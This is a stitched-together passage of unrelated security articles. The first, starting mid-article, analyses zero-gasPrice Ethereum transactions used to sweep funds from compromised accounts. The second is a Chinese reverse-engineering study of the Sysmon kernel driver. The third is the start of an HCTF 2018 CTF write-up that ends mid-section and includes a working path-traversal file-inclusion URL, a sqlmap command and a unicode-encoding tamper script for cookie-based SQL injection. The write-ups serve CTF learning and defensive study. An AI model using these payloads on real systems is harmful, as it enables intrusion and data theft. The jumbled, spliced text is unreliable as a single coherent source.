log.Warn("Sanitizing invalid txpool price limit", "provided", conf.PriceLimit, "updated", DefaultTxPoolConfig.PriceLimit)
conf.PriceLimit = DefaultTxPoolConfig.PriceLimit
}
The first node began mining. After the transaction was packaged into the
block, it was found that the second node recognized the block and reached a
consensus. Both of the nodes increased in height.
Conclusion:
* Normally only the initiators' txpool can receive the 0 gas transaction. The remaining nodes cannot pass and synchronize the transaction. If necessary, the source code of geth must be modified and other operations.
* Although the transaction cannot enter the txpool of other nodes, a consensus can be reached for the block containing this transaction.
We will conduct a brief source code analysis to support our conclusions.
#### 0x04 Source Code Analysis
(The following code analysis is based on the current latest submission at
<https://github.com/ethereum/go-ethereum> : commit
6d1e292eefa70b5cb76cd03ff61fc6c4550d7c36）
At present, the most popular node(Geth / Prity) program in Etherenum provides
RPC API for docking pools, wallets, and other third-party programs. First,
confirm the implementation of the code when the node is packing txs.
##### i.Trading Pool
Code path: ./go-ethereum/core/tx_pool.go
// TxPool contains all currently known transactions. Transactions
// enter the pool when they are received from the network or submitted
// locally. They exit the pool when they are included in the blockchain.
type TxPool struct {
config TxPoolConfig
chainconfig *params.ChainConfig
chain blockChain
gasPrice *big.Int //Lowest GasPrice limit
/*
other parameters
*/
}
It has found that there is a minimum requirement for gasPrice When generating
a txt instance. Specifically in this function will refuse to receive this
transaction.
// validateTx checks whether a transaction is valid according to the consensus
// rules and adheres to some heuristic limits of the local node (price and size).
func (pool *TxPool) validateTx(tx *types.Transaction, local bool) error {
// Verification of gasPrice
if !local && pool.gasPrice.Cmp(tx.GasPrice()) > 0 {
return ErrUnderpriced
}
/*
...
*/
return nil
}
##### ii.Removing Transactions Below the Threshold
Code path: ./go-ethereum/core/tx_list.go And it will delete the transaction
below the threshold in the processing txs, but the local transaction will not
be deleted.
// Cap finds all the transactions below the given price threshold, drops them
// from the priced list and returs them for further removal from the entire pool.
func (l *txPricedList) Cap(threshold *big.Int, local *accountSet) types.Transactions {
drop := make(types.Transactions, 0, 128) // Remote underpriced transactions to drop
save := make(types.Transactions, 0, 64) // Local underpriced transactions to keep
for len(*l.items) > 0 {
// Discard stale transactions if found during cleanup
tx := heap.Pop(l.items).(*types.Transaction)
if _, ok := (*l.all)[tx.Hash()]; !ok {
// Update the states counter if one has been found deleted.
l.stales-- continue
}
// Stop the discards if we've reached the threshold
if tx.GasPrice().Cmp(threshold) >= 0 {
// Exit if the price is above the threshold.
save = append(save, tx)
break
}
// Non stale transaction found, discard unless local
if local.containsTx(tx) { //The local transactions will not be deleted.
save = append(save, tx)
} else {
drop = append(drop, tx)
}
}
for _, tx := range save {
heap.Push(l.items, tx)
}
return drop
}
The above section is a node within the blockchain network and there are
partial filtering or rule restrictions when attempting to receive or join a
transaction with 0 gasPrice. But we can still legally add the 0 gasPrice
transactions to the block by modifying the source code, and perform the nonce
subsequent calculation. Next, we continue to analyze the source code to
investigate whether the block obtained by this method can be accepted by other
nodes and reach a consensus.
##### iii.Consensus checking
Code path: ./go-ethereum/consensus/consensus.go This is the consensus
algorithm engine interface provided in the geth.
type Engine interface {
// signature
Author(header *types.Header) (common.Address, error)
/*
Verify the header, seal, processing difficulty and other functions
...
*/
// Pre-processing block header information, modification difficulty, etc.
Prepare(chain ChainReader, header *types.Header) error
// Blocks rewards, etc. And something after mining out the block.
Finalize(chain ChainReader, header *types.Header, state *state.StateDB, txs []*types.Transaction,
uncles []*types.Header, receipts []*types.Receipt) (*types.Block, error)
// Calculate nonce, exit if a higher chain is received.
Seal(chain ChainReader, block *types.Block, stop <-chan struct{}) (*types.Block, error)
// Calculate the difficulty value
CalcDifficulty(chain ChainReader, time uint64, parent *types.Header) *big.Int
// APIs returns the RPC APIs this consensus engine provides.
APIs(chain ChainReader) []rpc.API
// Close terminates any background threads maintained by the consensus engine.
Close() error
}
By looking at VerifySeal() we found that the following was verified:
* Special treatments in different modes
* Legality of difficulty
* Legality of nonce values
* Legality of gas values
It can be seen that other nodes check the signature, nonce and other content
for the consensus. The 0 gas transactions are not checked. In other words, the
0 gas transactions cannot motivate miners but still legal.
#### 0x05 Utilization Process
First, the attackers construct 0 gas and a normal transfer transaction with
the way that exploited by smuggling vulnerability. After users unlock the
account, broadcast the transactions. The specific process is as follows:
#### 0x06 Summary
From a special transaction like h0 gasPrice we can draw the following
conclusions:
* Normally, 0 gasPrice can be initiated by the node itself to join txpool.
* Take geth as an example, modify the partial source code of geth to recompile and run, the node can accept special transactions issued by other nodes (target account initiated 0 gasPrice transactions). This is what the attackers need to do.
* 0 GasPrice transactions can be packaged into blocks and meet consensus requirements.
By collecting such 0 gasPrice transactions and adding them to partial miners'
txpools, such transactions will also be packaged when the miner digs up a new
block. The attacker may cooperate with some miners or have a certain computing
power so that the miners no longer follow the principle of honest mining and
maintenance blockchain system.
#### 0x07 Utilization Value and Defense Plan
The emergence of 0 gas transactions brings significance to many low-yield
attacks.
##### Improving Profits
In this way, the attacker can transfer all the balances in the attacked
account in combination with other attack methods to maximize the revenue.
##### Wools Exhausted
According to the attack method in "Exhilarating Coin, Maverick Thief - Various
Coin Stolen Tricks of Ethereum JSON-RPC Interface", in the case of the less
account balance or insufficient to pay the transfer fee, the residues in the
account can be transferred to the wallet through the above-mentioned attack
scheme for "gathering wool". Because the gasPrice of this transaction is 0,
multiple transactions of this type can be packaged in one block at the same
time, such as multiple sets of transactions under this contract:
[0x1a95b271b0535d15fa49932daba31ba612b52946](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946
"0x1a95b271b0535d15fa49932daba31ba612b52946"). Several transactions in this
block: [4788940](https://etherscan.io/txs?block=4788940&p=6 "4788940")
##### Smuggling Tokens
The attacker found that some of the smart contract tokens still existed in
these accounts in the absence of ether currency in the stolen accounts.
Without Ethereum, you can't pay gas for transfer. And 0 gas transactions can
solve this problem perfectly. Until now, many attacked accounts without ether
currency are transferred tokens in this way.
##### Defense Plan
Because the 0 gasPrice transactions are only used to extend other attack
schemes, the defense should also be utilized on the previous json-rpc
interface.
* For those nodes who have been attacked by the smuggling vulnerability, it is recommended to transfer the assets of the relevant account on the node to the new account and discard the accounts that may have been attacked.
* We advise users not to use weak passwords as account passwords. If that has happened, you can crack the private key content according to the contents at the end of section 1.2, and then import the private key again via the geth account import command and set a strong password.
* It is recommended that there is no private key file on the node if the node does not need to perform operations such as signature transfer. And if you need to transfer, be sure to use the personal_sendTransaction interface instead of the personal_unlockAccount interface.
#### 0x08 Impact Scale
We started with the 0 gasPrice transactions mentioned above. The survey found
that there are still many transactions traded through 0 gasPrice recently.
Most 0 gas transactions are from the mining pool:
[0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5](https://etherscan.io/address/0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5
"0xb75d1e62b10e4ba91315c4aa3facc536f8a922f5") and
[0x52e44f279f4203dcf680395379e5f9990a69f13c](https://etherscan.io/address/0x52e44f279f4203dcf680395379e5f9990a69f13c
"0x52e44f279f4203dcf680395379e5f9990a69f13c"), such as
[6161214](https://etherscan.io/block/6161214 "6161214"),
[6160889](https://etherscan.io/block/6160889 "6160889").
We noticed that only had a small number of early 0 gasPrice transactions
carrying little ether, which is in line with our expectations for the
characteristics of the gathering wool. According to statistics, there have
been 748 accounts since June 2017, and a total of 24.2eth was transferred by 0
gas.
And the replay attack mentioned was also found, resulting in account losses:
[0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909](https://etherscan.io/tx/0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909
"0x682bd7426ab7c7b4b5beed331d5f82e1cf2cecc83c317ccee6b4c4f1ae34d909")
Lost 0.05eth
Most of these 0 gasPrices are transfer requests for the
[TOKEN](https://etherscan.io/token/0x1a95b271b0535d15fa49932daba31ba612b52946
"TOKEN") issued by [the
contract](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946
"the contract"), transferring the tokens in the user's account to [the
contract owner's
account](https://etherscan.io/address/0xe386e3372e3d316ae063af50c38704ec6fba5149
"the contract owner's account"), for example:
Tx records for this account:
The attackers have the computing power of multiple mining pools and transfer a
variety of tokens owned by many attacked accounts to the corresponding
accounts. Although the amount of a single transaction is small, there are more
accounts and contracts that can be used for such attacks and no fee is
required. Many a little make a mickle. The attackers are still carrying out
scavenging attacks on these tokens.
#### 0x09 Conclusion
The premise of the blockchain system based on decentralization to reach a
consensus on the transaction is that the vast majority of miners will maintain
the entire bitcoin system through honest mining. When the miners are no longer
honest, the credibility and decentralization of the blockchain will be greatly
reduced. When a hacker cooperates with a miner or has the computing power to
become a miner, it will provide more extended attack schemes based on existing
attack techniques. The emergence of the 0 gasPrice transactions violates the
original intention of the blockchain design, that is, the miners should pay
the fee as an incentive.
The popularity of blockchain technology and the virtual currency have given
the currency a huge economic value and everyone wants to get a little benefit
in the blockchain wave. Especially hackers. As a currency thief, they racked
their brains to attack blockchains and contracts from all angles. When hackers
live in miners, they cannot only dig out blocks but also dig out
vulnerabilities.
#### Reference
1. Stolen tricks of the json-rpc interface: [Exhilarating Coin, Maverick Thief - Various Coin Stolen Tricks of Ethereum JSON-RPC Interface](https://paper.seebug.org/656/ "Exhilarating Coin, Maverick Thief - Various Coin Stolen Tricks of Ethereum JSON-RPC Interface")
2. https://www.reddit.com/r/ethereum/comments/7lx1do/a_christmas_mystery_sweepers_and_zero_gas_price/
3. [how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f](https://medium.com/mercuryprotocol/how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f "how-to-create-your-own-private-ethereum-blockchain-dad6af82fc9f")
4. 0 gas transaction: <https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22>
5. <https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg>
6. <https://paper.seebug.org/547/>
* * * | 社区文章 |
# 微软轻量级系统监控工具sysmon原理与实现完全分析（下篇）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
上文讲解了sysmon的ring3部分实现原理，本文则开始讲解ring0部分。Sysmon的ring0是一个minifilter类型的驱动，内部实现了进程信息、文件访问信息以及注册表访问信息的记录，下面开始具体讲解它的实现流程。
* 驱动DriverEntry的初始化
从DriverEntry(PDRIVER_OBJECT DriverObject, UNICODE_STRING
*pRegistry)的pRegistry中截取末尾名称去获取并计算出设备名和DosDevices的名字。
pDriverName = pRegistry->Buffer;
Len = pRegistry->Length >> 1;
pFirstName = &pDriverName[Len];
if ( pFirstName == pDriverName )
{
LABEL_8:
if ( *pFirstName != '\\' )
goto LABEL_10;
}
else
{
while ( *pFirstName != '\\' )
{
--pFirstName;
if ( pFirstName == pDriverName )
goto LABEL_8;
}
}
++pFirstName;
然后从pRegistry注册表中去获取sysmon的策略规则
使用RtlQueryRegistryValues函数，填入5个RTL_QUERY_REGISTRY_TABLE结构体
RTL_QUERY_REGISTRY_TABLE QueryRegTable[5];
RtlInitUnicodeString(&g_ProcessAccessNamesRule, 0);
memset(QueryRegTable, 0, 560u);
QueryRegTable[0].Flags = 1;
QueryRegTable[0].Name = L"Parameters";
QueryRegTable[3].EntryContext = &OptionRulesv18;
QueryRegTable[4].EntryContext = &hash_alogrithms;
QueryRegTable[1].Flags = 304;
QueryRegTable[1].Name = g_Name_ProcessAccessNames;
QueryRegTable[1].EntryContext = &g_ProcessAccessNamesRule;
QueryRegTable[1].DefaultType = 0x7000007;
QueryRegTable[1].DefaultData = &unk_10015C34;
QueryRegTable[1].DefaultLength = 4;
QueryRegTable[2].Flags = 304;
QueryRegTable[2].Name = L"ProcessAccessMasks";
QueryRegTable[2].EntryContext = &g_ProcessAccessMasksRule;
QueryRegTable[2].DefaultType = 0x3000000;
QueryRegTable[3].Flags = 304;
QueryRegTable[3].Name = (PWSTR)&g_wOption;
QueryRegTable[3].DefaultType = 0x4000000;
QueryRegTable[4].Flags = 304;
QueryRegTable[4].Name = (PWSTR)&g_wHashingalgorithm;
QueryRegTable[4].DefaultType = 0x4000000;
RtlQueryRegistryValues(0, g_SysmonRegisterPath.Buffer, QueryRegTable, 0, 0);
if ( !g_ProcessAccessNamesRule.Buffer
|| g_ProcessAccessNamesRule.Length <= 2u
|| g_ProcessAccessNamesRule.MaximumLength <= 4u )
{
RtlFreeUnicodeString(&g_ProcessAccessNamesRule);
RtlInitUnicodeString(&g_ProcessAccessNamesRule, 0);
}
g_OptionRules = (OptionRulesv18 >> 1) & 1;
对应的注册表键分别是L”Parameters”、L”ProcessAccessNames”、 L”ProcessAccessMasks” 、L”
Option”、L” Hashingalgorithm”
然后再次获取L”Parameters”项下面的对应的L”Rules”的KeyValues信息，这里是驱动设置的规则。
下面展示出部分规则的数组
上面的过程结束后就开始判断操作系统是否支持flt
如果支持只实现IRP_MJ_CREATE、IRP_MJ_CLOSE
、IRP_MJ_DEVICE_CONTROL三个例程，后续会注册miniFlt过滤，如果不支持Flt就使用老的模式Sfilter的模式
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
if ( IsOpenPipeConnect && !IsSupportFlt )
{
DriverObject->MajorFunction[IRP_MJ_CREATE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[1] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_READ] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_WRITE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_QUERY_INFORMATION] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SET_INFORMATION] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_QUERY_EA] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SET_EA] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_FLUSH_BUFFERS] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_QUERY_VOLUME_INFORMATION] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SET_VOLUME_INFORMATION] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_FILE_SYSTEM_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_INTERNAL_DEVICE_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_LOCK_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_CLEANUP] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_CREATE_MAILSLOT] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_QUERY_SECURITY] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SET_SECURITY] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_POWER] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CHANGE] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_QUERY_QUOTA] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
DriverObject->MajorFunction[IRP_MJ_SET_QUOTA] = (PDRIVER_DISPATCH)SysmonDispatchIrp;
}
然后就是常规过程，IoCreateDevice、IoCreateSymbolicLink。
然后根据操作系统是否支持FltRegisterFilter(Driver, &g_Registration, &g_pFilter);
具体创建了哪些minifilter，接着看结构体
OperationRegistration dd IRP_MJ_CREATE ; DATA XREF: .data:10015014↓o
.rdata:10013454 dd 0
.rdata:10013458 dd offset PreOperation
.rdata:1001345C dd offset PostOperation
.rdata:10013460 dd 0
.rdata:10013464 dd IRP_MJ_CLEANUP
.rdata:10013468 dd 0
.rdata:1001346C dd offset PreOperation
.rdata:10013470 dd offset PostOperation
.rdata:10013474 dd 0
.rdata:10013478 dd IRP_MJ_SET_INFORMATION
.rdata:1001347C dd 0
.rdata:10013480 dd offset PreOperation
.rdata:10013484 dd offset PostOperation
.rdata:10013488 dd 0
.rdata:1001348C dd IRP_MJ_CLOSE
.rdata:10013490 dd 0
.rdata:10013494 dd offset PreOperation
.rdata:10013498 dd offset PostOperation
.rdata:1001349C dd 0
.rdata:100134A0 dd IRP_MJ_CREATE_NAMED_PIPE
.rdata:100134A4 dd 0
.rdata:100134A8 dd offset PreOperation
.rdata:100134AC dd offset PostOperation
.rdata:100134B0 dd 0
.rdata:100134B4 dd IRP_MJ_OPERATION_END
.rdata:100134B8 dd 0
.rdata:100134BC dd 0
.rdata:100134C0 dd 0
.rdata:100134C4 dd 0
从上可以看到minifilter过滤了IRP_MJ_CREATE、IRP_MJ_CLEANUP、IRP_MJ_SET_INFORMATION、IRP_MJ_CLOSE、IRP_MJ_CREATE_NAMED_PIPE
文件系统相关的注册完毕，然后就是设置一些进程、线程相关的回调函数例程
PsSetLoadImageNotifyRoutine(SysmonLoadImageNotifyRoutine);
PsSetCreateThreadNotifyRoutine(PsCreateThreadNotifyRoutine);
PsSetCreateProcessNotifyRoutine(PsCreateProcessNotifyRoutine, 0);
为了记录注册表sysmon还注册表注册表CmRegisterCallback(RegisterCallback, 0, &Cookie);回调，
为了记录进程open对象的事件注册了ob事件
g_bIsRegisterCallback = 1;
g_OperationRegistration.ObjectType = (POBJECT_TYPE *)PsProcessType;
g_OperationRegistration.Operations = 1;
g_OperationRegistration.PreOperation = PreProcessOperation;
g_OperationRegistration.PostOperation = PostProcessOperation;
g_CallbackRegistration.OperationRegistration = &g_OperationRegistration;
*(_DWORD *)&g_CallbackRegistration.Version = 0x10100;
g_CallbackRegistration.RegistrationContext = 0;
RtlInitUnicodeString(&g_CallbackRegistration.Altitude, L"1000");
Status = g_ObRegisterCallbacks(&g_CallbackRegistration, &RegistrationHandle);
为了获取管道的事件，它挂接了设备L[\\\Device\\\NamedPipe](file:///%5C%5CDevice%5CNamedPipe)，创建了L[\\\Device\\\SysmonPipeFilter](file:///%5C%5CDevice%5CSysmonPipeFilter)的过滤设备
至此sysmon的DriverEntry的初始化动作基本结束了。
* IRP_MJ_DEVICE_CONTROL例程
**Case 0x83400000:**
打开驱动开启标志，并且获取且保存当前UI进程的句柄
**Case 0x83400004：**
Ring3请求事件信息，并返回到ring3的缓冲区
**Case 0x83400008：**
加载策略规则
**Case 0x8340000C：**
获取传入进程的相关信息（包括TokenUser、pTokenStatics、TokenGroup、TokenSeesion）
还会获取进程pImagePathName、pCommandLine、CurrentDirectory
获取进程的CreateTime
该事件类型为4或者1
* 文件信息的记录
Minifilter的PreOperation(PFLT_CALLBACK_DATA pData, PFLT_RELATED_OBJECTS
FltObjects, PVOID
*CompletionContext)例程为主要的判断逻辑例程，先判断当前FileObject的路径是否为管道路径，管道事件直接记录上报事件
特别判断下IRP_MJ_SET_INFORMATION、IRP_MJ_CLEANUP,并且分别上报_，注意在判断IRP_MJ_SET_INFORMATION的时候只记录了RequestorMode是1即USER_MODE，并且是设置FileBasicInformation的请求。
PreOperation处理完毕，则PostOperation(PFLT_CALLBACK_DATA pData, PFLT_RELATED_OBJECTS
pFltFileObj, PVOID CompletionContext, int
Flags)对前者处理的上下文CompletionContext进行记录日志或者释放的处理，以IRP_MJ_SET_INFORMATION为例，PostOPerate则对PreOperate的CompletionContext的数据进行上报。
* 注册表信息的记录
Sysmon初始化的时候注册了一个注册表过滤，CmRegisterCallback(RegisterCallback, 0,
&Cookie);回调函数是NTSTATUS __stdcall RegisterCallback(PVOID CallbackContext, PVOID
Argument1, PVOID Argument2)，参数Argument1是过滤的注册表操作类型，sysmon过滤了0（RegNtDeleteKey /
RegNtPreDeleteKey） 、4(
RegNtRenameKey\RegNtPreRenameKey)、11（RegNtPostCreateKey）、15（RegNtPostDeleteKey）、16（RegNtPostSetValueKey）、17（RegNtPostDeleteValueKey）、19（RegNtPostRenameKey）27（RegNtPostCreateKeyEx）的注册表操作
* 进程操作过滤
Sysmon注册了进程操作过滤，g_ObRegisterCallbacks(&g_CallbackRegistration,
&RegistrationHandle);，
他只记录操作类型为OB_OPERATION_HANDLE_CREATE，并且只记录A进程操作B进程，A和B不是同一个进程，注意RtlWalkFrameChain这个函数是获取当前操作线程的线程栈，KeQuerySystemTime(&pOpenInfo.CreateTime);是获取当前系统时间，并且会把这些信息上报。
* 其他重点技术细节
1. 进程模块的枚举
ZwQueryInformationProcess(ProcessHandle, ProcessBasicInformation,
&ProcessInformation, 0x18u, 0)获取ProcessInformation的信息，从PebBaseAddress =
ProcessInformation.PebBaseAddress;取得进程PEB的地址，在PEB结构中得到LDR的地址，LDR是进程加载模块的结构体，
struct _PEB
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
PVOID Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
ULONG CrossProcessFlags;
unsigned __int32 ProcessInJob : 1;
unsigned __int32 ProcessInitializing : 1;
unsigned __int32 ReservedBits0 : 30;
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
。。。。。。
}
PPEB_LDR_DATA Ldr;这个就是加载模块的结构，有三种加载表内存加载表，加载顺序表，初始化加载表从中可以枚举出模块信息。
struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
};
2. 进程参数的获取
大致可以看到如下，首先要KeStackAttachProcess进程的空间，然后获取PEB地址，从PEB中的到ProcessParameters的结构
ProcessParameters结构如下：
struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
};
可以看到该结构中进程参数相关的各种信息。
3. 进程Token相关信息的获取
都是通过ZwQueryInformationToken函数去获取，只是是使用不同的ClassInformation类去获取，定义如下
typedef enum _TOKEN_INFORMATION_CLASS {
TokenUser ,
TokenGroups ,
TokenPrivileges ,
TokenOwner ,
TokenPrimaryGroup ,
TokenDefaultDacl ,
TokenSource ,
TokenType ,
TokenImpersonationLevel ,
TokenStatistics ,
TokenRestrictedSids ,
TokenSessionId ,
TokenGroupsAndPrivileges ,
TokenSessionReference ,
TokenSandBoxInert ,
TokenAuditPolicy ,
TokenOrigin ,
TokenElevationType ,
TokenLinkedToken ,
TokenElevation ,
TokenHasRestrictions ,
TokenAccessInformation ,
TokenVirtualizationAllowed ,
TokenVirtualizationEnabled ,
TokenIntegrityLevel ,
TokenUIAccess ,
TokenMandatoryPolicy ,
TokenLogonSid ,
TokenIsAppContainer ,
TokenCapabilities ,
TokenAppContainerSid ,
TokenAppContainerNumber ,
TokenUserClaimAttributes ,
TokenDeviceClaimAttributes ,
TokenRestrictedUserClaimAttributes ,
TokenRestrictedDeviceClaimAttributes ,
TokenDeviceGroups ,
TokenRestrictedDeviceGroups ,
TokenSecurityAttributes ,
TokenIsRestricted ,
TokenProcessTrustLevel ,
TokenPrivateNameSpace ,
TokenSingletonAttributes ,
TokenBnoIsolation ,
TokenChildProcessFlags ,
MaxTokenInfoClass
} TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS;
需要获取那个就可以选择那一个。
本文大致讲解完毕，内部还有很多很有意思的技术细节由于篇幅原因，读者可以自己深入挖掘，在做一个产品的时候，我们可以分析他人的产品，不仅可以了解他人的产品的长处和不足，同时也可以补充自己产品的不足的之处，一个好的产品就是在不断的琢磨研究与推翻，更重要的是细节的体现才能做好产品。 | 社区文章 |
## 前言
一个招新小广告：FlappyPig 长期招新，尤其是 reverse+pwn
大佬。只要你感兴趣，只要你有耐心，只要你好学！！！请联系[email protected] 。
[TOC]
## HCTF 2018 Online WriteUp
## Web
### Warmup
打开题目，f12发现
<!--source.php-->
以及hint和link：`http://warmup.2018.hctf.io/index.php?file=hint.php`：
flag not here, and flag in ffffllllaaaagggg
看到source.php，发现源代码
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
发现只有
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
才能通过，但发现截取有问题
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
随即构造
http://warmup.2018.hctf.io/?file=hint.php?/../../../../../../../../ffffllllaaaagggg
即可拿到flag
### Kzone
我们发现在用cookie做身份校验的时候查询了数据库
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
发现其中用了`json_decode`，那么我们可以尝试使用编码进行bypass，即可无视一切过滤进行注入
脚本如下
a.txt:
POST /admin/list.php HTTP/1.1
Host: kzone.2018.hctf.io
Content-Length: 33
Cache-Control: max-age=0
Origin: http://kzone.2018.hctf.io
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Referer: http://kzone.2018.hctf.io/admin/login.php
Accept-Encoding: gzip, deflate
X-Forwarded-For: 127.0.1.3,1,2,3,4
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=7notm2n004aen7oln00ohd9ei3; islogin=1; login_data=*
Connection: close
user=rr123&pass=rr123&login=Login
Command:
python sqlmap.py -r a.txt --tamper=hctf --dbs --dbms=mysql --thread=10 -D hctf_kouzone -T F1444g -C F1a9 --dump -v3
tamper/hctf.py
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
data = '''{"admin_user":"%s"};'''
payload = payload.lower()
payload = payload.replace('u', '\u0075')
payload = payload.replace('o', '\u006f')
payload = payload.replace('i', '\u0069')
payload = payload.replace('\'', '\u0027')
payload = payload.replace('\"', '\u0022')
payload = payload.replace(' ', '\u0020')
payload = payload.replace('s', '\u0073')
payload = payload.replace('#', '\u0023')
payload = payload.replace('>', '\u003e')
payload = payload.replace('<', '\u003c')
payload = payload.replace('-', '\u002d')
payload = payload.replace('=', '\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return data % payload
### admin
在非常迷茫的时候，肯定想到必须得结合改密码功能，那会不会是change这里有问题，于是仔细去看代码，发现使用了strlower()
def strlower(username):
username = nodeprep.prepare(username)
return username
后来搜到这样一篇文章
https://tw.saowen.com/a/72b7816b29ef30533882a07a4e1040f696b01e7888d60255ab89d37cf2f18f3e
对于如下字母
ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ
